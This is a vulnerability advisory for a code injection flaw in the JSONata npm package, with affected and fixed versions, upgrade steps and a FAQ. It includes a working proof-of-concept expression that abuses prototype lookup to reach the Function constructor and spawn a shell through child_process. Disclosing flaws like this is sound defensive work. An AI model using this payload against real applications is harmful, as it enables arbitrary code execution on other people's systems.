GHSA-8gq3-vp5j-2grp: Code Injection

Published Aug 21, 2026
·
Updated

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( lookupSetter('proto')(constructor); defineGetter('l', constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) );

await expression.evaluate({});

Affected Software

2 affected componentsFixes available
npm/jsonata>=2.0.0<2.2.0
2.2.0
npm/jsonata<=1.8.7
1.8.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 2.2.0
  2. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 1.8.8
  3. Upgrade

    Upgrade jsonata to a version that resolves this vulnerability.

    Fixed in 2.2.0Patch https://github.com/jsonata-js/jsonata/pull/794
  4. Upgrade

    Upgrade jsonata to a version that resolves this vulnerability.

    Fixed in 1.8.8Patch https://github.com/jsonata-js/jsonata/pull/794

Event History

Aug 21, 2026
Advisory Published
via GitHub·08:57 PM
Data Sourced
via GitHub·08:57 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which JSONata versions are affected and which releases contain the fix?

Versions before 2.2.0 are affected on the 2.x line, and versions before 1.8.8 are affected on the 1.x line. The fix is included in JSONata 2.2.0 and was ported to 1.8.8.

2

What does an attacker need to exploit this issue?

An attacker needs the ability to supply or influence a JSONata expression that the application evaluates. A crafted expression can exploit the missing hasOwnProperty check in the lookup function to execute arbitrary code.

3

How can I determine whether my application may be exposed?

Review whether the application evaluates JSONata expressions from untrusted or user-influenced sources, and check the installed npm/jsonata version. Deployments using versions earlier than 2.2.0 or 1.8.8 with attacker-controlled expressions may be exposed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203